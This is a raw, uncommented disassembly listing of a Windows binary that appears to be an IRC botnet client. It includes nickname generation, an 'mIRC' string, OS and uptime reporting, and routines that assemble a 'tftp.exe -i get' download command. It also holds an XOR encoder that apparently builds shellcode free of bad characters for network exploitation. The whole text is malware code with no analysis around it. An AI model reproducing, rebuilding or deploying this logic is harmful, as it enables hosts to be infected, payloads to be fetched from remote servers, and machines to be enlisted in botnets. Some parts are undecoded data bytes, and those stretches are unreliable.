push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_40A8DE: ; CODE XREF: sub_40A5C5+302j
lea eax, [ebp+var_200]
push eax
call sub_415D38
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A5C5 endp
; =============== S U B R O U T I N E =======================================
sub_40A8F0 proc near ; CODE XREF: sub_4017ED+4Fp
; sub_401ACD+5BC5p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CBA14
cmp eax, 0FFFFFFFFh
jnz short locret_40A918
push [esp+arg_0]
call dword_4CBA58
test eax, eax
jnz short loc_40A911
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40A911: ; CODE XREF: sub_40A8F0+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40A918: ; CODE XREF: sub_40A8F0+Dj
retn
sub_40A8F0 endp
; =============== S U B R O U T I N E =======================================
sub_40A919 proc near ; CODE XREF: sub_4017ED+D6p
mov ecx, dword_4CB8F0
xor eax, eax
test ecx, ecx
jz short locret_40A927
call ecx
locret_40A927: ; CODE XREF: sub_40A919+Aj
retn
sub_40A919 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A928 proc near ; CODE XREF: sub_401ACD:loc_403F03p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_4CBA50
mov ecx, eax
sub ecx, edi
jz loc_40A9EE
sub ecx, 32h
jz loc_40A9E7
sub ecx, 48h
jz short loc_40A988
sub ecx, 6Eh
jz short loc_40A981
loc_40A96A: ; CODE XREF: sub_40A928+8Bj
push eax
lea eax, [ebp+var_88]
push offset unk_42D8D8
push eax
call sub_41C266
add esp, 0Ch
jmp short loc_40A9C8
; ---------------------------------------------------------------------------
loc_40A981: ; CODE XREF: sub_40A928+40j
push offset unk_42D8B4
jmp short loc_40A9BA
; ---------------------------------------------------------------------------
loc_40A988: ; CODE XREF: sub_40A928+3Bj
push [ebp+var_8]
call sub_41BEB5
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_41BF70
add esp, 10h
cmp esi, edi
jz short loc_40A9B5
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_4CBA50
cmp eax, edi
jz short loc_40A9EE
jmp short loc_40A96A
; ---------------------------------------------------------------------------
loc_40A9B5: ; CODE XREF: sub_40A928+79j
push offset unk_42D884
loc_40A9BA: ; CODE XREF: sub_40A928+5Ej
; sub_40A928+C4j
lea eax, [ebp+var_88]
push eax
call sub_41C266
pop ecx
pop ecx
loc_40A9C8: ; CODE XREF: sub_40A928+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_415D38
pop ecx
loc_40A9D8: ; CODE XREF: sub_40A928+C8j
; sub_40A928+DCj
push esi
call sub_41BA91
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40A9E7: ; CODE XREF: sub_40A928+32j
push offset unk_42D854
jmp short loc_40A9BA
; ---------------------------------------------------------------------------
loc_40A9EE: ; CODE XREF: sub_40A928+29j
; sub_40A928+89j
cmp [esi], edi
jbe short loc_40A9D8
lea ebx, [esi+4]
loc_40A9F5: ; CODE XREF: sub_40A928+DAj
push ebx
call dword_4CBA4C
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40A9F5
jmp short loc_40A9D8
sub_40A928 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AA06 proc near ; CODE XREF: sub_401ACD+21EDp
; sub_401ACD+233Ep ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_4CB978
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_4CBB04
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_41C266
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AA06 endp
; =============== S U B R O U T I N E =======================================
sub_40AA5F proc near ; CODE XREF: sub_413694+24Cp
; sub_413694+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40AA88
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40AA7B: ; CODE XREF: sub_40AA5F+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40AA7B
pop edi
jmp short loc_40AA8C
; ---------------------------------------------------------------------------
loc_40AA88: ; CODE XREF: sub_40AA5F+Aj
mov edx, [esp+4+arg_0]
loc_40AA8C: ; CODE XREF: sub_40AA5F+27j
test esi, esi
pop esi
jz short loc_40AA96
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40AA96: ; CODE XREF: sub_40AA5F+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40AA5F endp
; =============== S U B R O U T I N E =======================================
sub_40AAAC proc near ; CODE XREF: sub_40AE84+49p
; DATA XREF: ___:off_42D920o
arg_0 = dword ptr 4
push esi
push edi
call near ptr 26D0CBDh
nop
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+8+arg_0]
push off_42D99C[edx*4]
push offset aS_1 ; "%s"
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AB14
loc_40AAEE: ; CODE XREF: sub_40AAAC+66j
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B89C
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AAEE
loc_40AB14: ; CODE XREF: sub_40AAAC+40j
mov eax, edi
pop edi
pop esi
retn
sub_40AAAC endp
; ---------------------------------------------------------------------------
db 56h, 57h, 90h
dd 2C619CE8h, 91E85002h, 8B000117h, 0C710247Ch, 91382404h
dd 0B4680042h, 6A0042CCh, 21E8571Ch, 33000118h, 10C483F6h
dd 90983539h, 267E0042h, 11771E8h, 990A6A00h, 52F9F759h
dd 0B89C6857h, 1C6A0042h, 17FAE857h, 0C4830001h, 353B4614h
dd 429098h, 0C78BDA7Ch
; ---------------------------------------------------------------------------
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_40AB77 proc near ; CODE XREF: sub_401ACD+68EEp
arg_0 = dword ptr 4
push ebx
push esi
push edi
call near ptr 26D0CBDh
nop
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_429098
test esi, esi
jle short loc_40ABBA
loc_40ABA4: ; CODE XREF: sub_40AB77+41j
call sub_41C2C2
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40ABA4
loc_40ABBA: ; CODE XREF: sub_40AB77+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40AB77 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
nop
call near ptr 26D0CBDh
push eax
call sub_41C2B8
pop ecx
lea eax, [ebp-8]
mov esi, offset byte_4315F4
push eax
push esi
nop
call near ptr 2700000h
movsx eax, byte_4315F4
push 41h
pop ecx
push 1
pop edx
loc_40AC00: ; CODE XREF: ___:0040AC0Bj
cmp eax, ecx
jnz short loc_40AC07
mov [ebp-4], edx
loc_40AC07: ; CODE XREF: ___:0040AC02j
inc ecx
cmp ecx, 5Bh
jl short loc_40AC00
push 61h
pop ecx
loc_40AC10: ; CODE XREF: ___:0040AC1Bj
cmp eax, ecx
jnz short loc_40AC17
mov [ebp-4], edx
loc_40AC17: ; CODE XREF: ___:0040AC12j
inc ecx
cmp ecx, 7Bh
jl short loc_40AC10
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 0Ch
cmp dword_429098, esi
jle short loc_40AC5C
loc_40AC36: ; CODE XREF: ___:0040AC5Aj
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B89C
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AC36
loc_40AC5C: ; CODE XREF: ___:0040AC34j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
nop
call near ptr 26D0CBDh
push eax
call sub_41C2B8
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call near ptr 2710000h
nop
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_4315F8
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40ACD1
loc_40ACAB: ; CODE XREF: ___:0040ACCFj
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B89C
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40ACAB
loc_40ACD1: ; CODE XREF: ___:0040ACA9j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_43DB88
mov dword ptr [ebp-94h], 94h
call near ptr 27105EAh
nop
nop
call near ptr 26D0CBDh
push eax
call sub_41C2B8
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40AD5B
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AD3B
cmp dword ptr [ebp-84h], 1
jnz short loc_40AD2B
mov esi, offset dword_431620
loc_40AD2B: ; CODE XREF: ___:0040AD24j
cmp dword ptr [ebp-84h], 2
jnz short loc_40AD97
mov esi, offset dword_43161C
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD3B: ; CODE XREF: ___:0040AD1Bj
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_40AD4B
mov esi, offset dword_431618
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD4B: ; CODE XREF: ___:0040AD42j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40AD92
mov esi, offset dword_431614
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD5B: ; CODE XREF: ___:0040AD12j
cmp dword ptr [ebp-90h], 5
jnz short loc_40AD92
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AD74
mov esi, offset dword_431610
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD74: ; CODE XREF: ___:0040AD6Bj
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40AD84
mov esi, offset dword_43160C
jmp short loc_40AD97
; ---------------------------------------------------------------------------
loc_40AD84: ; CODE XREF: ___:0040AD7Bj
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_431608
jz short loc_40AD97
loc_40AD92: ; CODE XREF: ___:0040AD52j
; ___:0040AD62j
mov esi, offset dword_431604
loc_40AD97: ; CODE XREF: ___:0040AD32j
; ___:0040AD39j ...
mov edi, [ebp+8]
push esi
push offset dword_4315FC
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40ADDB
loc_40ADB5: ; CODE XREF: ___:0040ADD9j
call sub_41C2C2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B89C
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40ADB5
loc_40ADDB: ; CODE XREF: ___:0040ADB3j
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ADE1 proc near ; CODE XREF: sub_40AE84+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call near ptr 26D0CBDh
nop
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc_0 ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_40AE30
call dword_4CB9E0
test eax, eax
mov eax, offset off_43162C
jnz short loc_40AE19
mov eax, offset byte_43DB88
loc_40AE19: ; CODE XREF: sub_40ADE1+31j
push eax
push esi
push offset dword_431624
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41C360
add esp, 14h
jmp short loc_40AE50
; ---------------------------------------------------------------------------
loc_40AE30: ; CODE XREF: sub_40ADE1+22j
call dword_4CB9E0
test eax, eax
mov eax, offset off_43162C
jnz short loc_40AE44
mov eax, offset byte_43DB88
loc_40AE44: ; CODE XREF: sub_40ADE1+5Cj
push eax
lea eax, [ebp+var_1C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_40AE50: ; CODE XREF: sub_40ADE1+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_41B9C0
pop ecx
cmp eax, 2
pop esi
jbe short loc_40AE7F
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_41CBC0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_41BFD0
add esp, 18h
loc_40AE7F: ; CODE XREF: sub_40ADE1+7Dj
mov eax, [ebp+arg_0]
leave
retn
sub_40ADE1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AE84 proc near ; CODE XREF: sub_4017ED+7Fp
; sub_401955+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_42D91C
loc_40AE90: ; CODE XREF: sub_40AE84+3Fj
cmp [ebp+arg_C], 0
jz short loc_40AEAB
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_41CA50
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40AEB5
; ---------------------------------------------------------------------------
loc_40AEAB: ; CODE XREF: sub_40AE84+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40AEB5: ; CODE XREF: sub_40AE84+25j
test eax, eax
jnz short loc_40AEC7
add esi, 14h
inc edi
cmp esi, offset off_42D9A8
jb short loc_40AE90
jmp short loc_40AED5
; ---------------------------------------------------------------------------
loc_40AEC7: ; CODE XREF: sub_40AE84+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_42D920[eax*4]
pop ecx
loc_40AED5: ; CODE XREF: sub_40AE84+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40AEE8
push [ebp+arg_0]
call sub_40ADE1
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40AEE8: ; CODE XREF: sub_40AE84+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_40AE84 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0B8h
push ebx
push esi
lea eax, [ebp-0B8h]
push edi
push eax
mov edi, offset byte_43DB88
mov dword ptr [ebp-0B8h], 94h
call near ptr 27105EAh
nop
cmp dword ptr [ebp-0B4h], 4
push 0Ah
pop ebx
jnz short loc_40AF67
cmp dword ptr [ebp-0B0h], 0
jnz short loc_40AF48
cmp dword ptr [ebp-0A8h], 1
jnz short loc_40AF38
mov edi, offset dword_431620
loc_40AF38: ; CODE XREF: ___:0040AF31j
cmp dword ptr [ebp-0A8h], 2
jnz short loc_40AFA3
mov edi, offset dword_43161C
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF48: ; CODE XREF: ___:0040AF28j
cmp [ebp-0B0h], ebx
jnz short loc_40AF57
mov edi, offset dword_431618
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF57: ; CODE XREF: ___:0040AF4Ej
cmp dword ptr [ebp-0B0h], 5Ah
jnz short loc_40AF9E
mov edi, offset dword_431614
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF67: ; CODE XREF: ___:0040AF1Fj
cmp dword ptr [ebp-0B4h], 5
jnz short loc_40AF9E
cmp dword ptr [ebp-0B0h], 0
jnz short loc_40AF80
mov edi, offset dword_431610
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF80: ; CODE XREF: ___:0040AF77j
cmp dword ptr [ebp-0B0h], 1
jnz short loc_40AF90
mov edi, offset dword_43160C
jmp short loc_40AFA3
; ---------------------------------------------------------------------------
loc_40AF90: ; CODE XREF: ___:0040AF87j
cmp dword ptr [ebp-0B0h], 2
mov edi, offset dword_431684
jz short loc_40AFA3
loc_40AF9E: ; CODE XREF: ___:0040AF5Ej
; ___:0040AF6Ej
mov edi, offset dword_431680
loc_40AFA3: ; CODE XREF: ___:0040AF3Fj
; ___:0040AF46j ...
lea eax, [ebp-0A4h]
push offset word_4CB88C
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_40AFC1
mov esi, offset dword_43167C
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40AFC1: ; CODE XREF: ___:0040AFB8j
lea eax, [ebp-0A4h]
push offset a1 ; "1"
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40AFDF
mov esi, offset sub_431678
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40AFDF: ; CODE XREF: ___:0040AFD6j
lea eax, [ebp-0A4h]
push offset dword_431674
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40AFFD
mov esi, offset dword_431670
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40AFFD: ; CODE XREF: ___:0040AFF4j
lea eax, [ebp-0A4h]
push offset dword_43166C
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jz short loc_40B01B
mov esi, offset dword_431668
jmp short loc_40B03C
; ---------------------------------------------------------------------------
loc_40B01B: ; CODE XREF: ___:0040B012j
lea eax, [ebp-0A4h]
push offset dword_431664
push eax
call sub_41C2E0
pop ecx
mov esi, offset dword_431660
test eax, eax
pop ecx
jnz short loc_40B03C
mov esi, offset off_43165C
loc_40B03C: ; CODE XREF: ___:0040AFBFj
; ___:0040AFDDj ...
lea eax, [ebp-0Ch]
or dword ptr [ebp-4], 0FFFFFFFFh
push eax
or dword ptr [ebp-8], 0FFFFFFFFh
or dword ptr [ebp-0Ch], 0FFFFFFFFh
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 0
call sub_41ADD8
pop ecx
push eax
call sub_41CCE3
mov eax, [ebp-4]
add esp, 14h
cmp eax, ebx
jge short loc_40B086
push eax
push offset a0D ; "0%d"
lea eax, [ebp-18h]
push ebx
push eax
call sub_41C360
add esp, 10h
jmp short loc_40B0AA
; ---------------------------------------------------------------------------
loc_40B086: ; CODE XREF: ___:0040B06Fj
cmp eax, 64h
jge short loc_40B098
lea ecx, [ebp-18h]
push ebx
push ecx
push eax
call sub_42635C
jmp short loc_40B0A7
; ---------------------------------------------------------------------------
loc_40B098: ; CODE XREF: ___:0040B089j
push offset a99 ; "99"
lea eax, [ebp-18h]
push ebx
push eax
call sub_41C360
loc_40B0A7: ; CODE XREF: ___:0040B096j
add esp, 0Ch
loc_40B0AA: ; CODE XREF: ___:0040B084j
call near ptr 26D0CBDh
nop
push eax
call sub_41C2B8
pop ecx
lea eax, [ebp-24h]
push ebx
push eax
push 7
push 800h
call near ptr 2710000h
nop
lea eax, [ebp-18h]
push eax
push esi
lea eax, [ebp-24h]
push edi
mov edi, [ebp+8]
push eax
push offset aSSSS ; "%s|%s|%s|%s|"
push 1Ch
push edi
call sub_41C360
xor esi, esi
add esp, 1Ch
cmp dword_429098, esi
jle short loc_40B115
loc_40B0F0: ; CODE XREF: ___:0040B113j
call sub_41C2C2
cdq
mov ecx, ebx
idiv ecx
push edx
push edi
push offset dword_42B89C
push 1Ch
push edi
call sub_41C360
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40B0F0
loc_40B115: ; CODE XREF: ___:0040B0EEj
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40B11C proc near ; CODE XREF: sub_40B13C+Ap
; sub_40B214+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_41B9C0
push [esp+8+arg_4]
mov esi, eax
call sub_41B9C0
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_40B11C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B13C proc near ; CODE XREF: sub_40B22B+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_40B11C
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_40B159
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40B159: ; CODE XREF: sub_40B13C+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_41B9C0
push [ebp+arg_C]
mov esi, eax
call sub_41B9C0
mov edi, eax
mov ebx, [ebp+arg_0]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov dword_43171C, eax
lea eax, [edi+1]
mov dword_43173D, eax
lea eax, [edi+17h]
mov dword_431735, eax
pop eax
push 74h
sub eax, edi
push offset dword_4316B8
push ebx
mov dword_43174B, eax
call sub_41CD20
push esi
lea eax, [ebx+74h]
push [ebp+arg_8]
push eax
call sub_41CD20
add esi, 74h
push 5
push (offset aTftp_exeIGet+0Ch)
lea eax, [esi+ebx]
push eax
call sub_41CD20
add esi, 5
push edi
push [ebp+arg_C]
lea eax, [esi+ebx]
push eax
call sub_41CD20
add esi, edi
push 10h
push (offset aTftp_exeIGet+11h)
lea eax, [esi+ebx]
push eax
call sub_41CD20
add esp, 44h
add esi, 10h
push edi
lea eax, [esi+ebx]
push [ebp+arg_C]
push eax
call sub_41CD20
add esi, edi
push 38h
add esi, ebx
push offset byte_431741
push esi
call sub_41CD20
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40B13C endp
; =============== S U B R O U T I N E =======================================
sub_40B214 proc near ; CODE XREF: sub_40B22B+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40B11C
push eax
call sub_40B298
add esp, 0Ch
retn
sub_40B214 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B22B proc near ; CODE XREF: sub_40DCF9+32p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push edi
mov edi, [ebp+arg_C]
push edi
push ebx
call sub_40B214
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_40B24B
cmp eax, 0FFFFh
jbe short loc_40B24F
loc_40B24B: ; CODE XREF: sub_40B22B+17j
xor eax, eax
jmp short loc_40B294
; ---------------------------------------------------------------------------
loc_40B24F: ; CODE XREF: sub_40B22B+1Ej
push esi
push edi
push ebx
call sub_40B11C
add eax, 101h
push eax
call sub_41BEB5
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_40B11C
pop ecx
pop ecx
push eax
push esi
call sub_40B13C
push eax
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40B2B3
push esi
mov edi, eax
call sub_41BA91
add esp, 24h
mov eax, edi
pop esi
loc_40B294: ; CODE XREF: sub_40B22B+22j
pop edi
pop ebx
pop ebp
retn
sub_40B22B endp
; =============== S U B R O U T I N E =======================================
sub_40B298 proc near ; CODE XREF: sub_40B214+Ep
; sub_40B2B3+4Ap
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_40B2A1
inc ecx
loc_40B2A1: ; CODE XREF: sub_40B298+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_40B298 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B2B3 proc near ; CODE XREF: sub_40B22B+56p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
cmp byte ptr [ebp+arg_C], 0Ah
jz short loc_40B2CF
cmp byte ptr [ebp+arg_C], 0Dh
jz short loc_40B2CF
cmp byte ptr [ebp+arg_C], 5Ch
jz short loc_40B2CF
cmp byte ptr [ebp+arg_C], 0
jnz short loc_40B2D2
loc_40B2CF: ; CODE XREF: sub_40B2B3+8j
; sub_40B2B3+Ej ...
inc [ebp+arg_C]
loc_40B2D2: ; CODE XREF: sub_40B2B3+1Aj
push esi
mov esi, 0FFh
cmp [ebp+arg_C], esi
jbe short loc_40B2FA
mov eax, [ebp+arg_C]
shr eax, 8
cmp al, 0Ah
jz short loc_40B2F3
cmp al, 0Dh
jz short loc_40B2F3
cmp al, 5Ch
jz short loc_40B2F3
test al, al
jnz short loc_40B2FA
loc_40B2F3: ; CODE XREF: sub_40B2B3+32j
; sub_40B2B3+36j ...
add [ebp+arg_C], 100h
loc_40B2FA: ; CODE XREF: sub_40B2B3+28j
; sub_40B2B3+3Ej
push [ebp+arg_C]
call sub_40B298
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_40B312
cmp eax, 0FFFFh
jbe short loc_40B319
loc_40B312: ; CODE XREF: sub_40B2B3+56j
xor eax, eax
jmp loc_40B3B7
; ---------------------------------------------------------------------------
loc_40B319: ; CODE XREF: sub_40B2B3+5Dj
mov ecx, [ebp+arg_C]
push ebx
mov bl, byte_4CBB18
xor edx, edx
push edi
mov edi, [ebp+arg_8]
test ecx, ecx
jbe short loc_40B349
loc_40B32D: ; CODE XREF: sub_40B2B3+94j
mov al, [edx+edi]
xor al, bl
jz short loc_40B340
cmp al, 0Ah
jz short loc_40B340
cmp al, 0Dh
jz short loc_40B340
cmp al, 5Ch
jnz short loc_40B344
loc_40B340: ; CODE XREF: sub_40B2B3+7Fj
; sub_40B2B3+83j ...
inc bl
xor edx, edx
loc_40B344: ; CODE XREF: sub_40B2B3+8Bj
inc edx
cmp edx, ecx
jb short loc_40B32D
loc_40B349: ; CODE XREF: sub_40B2B3+78j
cmp ecx, esi
mov byte_4CBB18, bl
ja short loc_40B375
push 15h
push offset loc_4316A0
push [ebp+arg_0]
mov byte_4316AD, cl
mov byte_4316B1, bl
call sub_41CD20
add esp, 0Ch
push 15h
jmp short loc_40B396
; ---------------------------------------------------------------------------
loc_40B375: ; CODE XREF: sub_40B2B3+9Ej
push 17h
push offset loc_431688
push [ebp+arg_0]
mov word_431696, cx
mov byte_43169B, bl
call sub_41CD20
add esp, 0Ch
push 17h
loc_40B396: ; CODE XREF: sub_40B2B3+C0j
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_40B3B2
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_40B3A4: ; CODE XREF: sub_40B2B3+FDj
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_40B3A4
loc_40B3B2: ; CODE XREF: sub_40B2B3+E9j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_40B3B7: ; CODE XREF: sub_40B2B3+61j
pop esi
leave
retn
sub_40B2B3 endp
; =============== S U B R O U T I N E =======================================
sub_40B3BA proc near ; CODE XREF: ___:00401599p
; ___:004015D8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_43E710
loc_40B3C2: ; CODE XREF: sub_40B3BA+18j
cmp byte ptr [eax], 0
jz short loc_40B3D6
add eax, 234h
inc edi
cmp eax, offset dword_4CB710
jl short loc_40B3C2
jmp short loc_40B421
; ---------------------------------------------------------------------------
loc_40B3D6: ; CODE XREF: sub_40B3BA+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_43E710[esi]
push eax
call sub_41BFD0
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_43E910[esi], eax
and dword_43E914[esi], 0
mov eax, [esp+8+arg_8]
and dword_43E918[esi], 0
mov dword_43E91C[esi], eax
and byte_43E928[esi], 0
pop esi
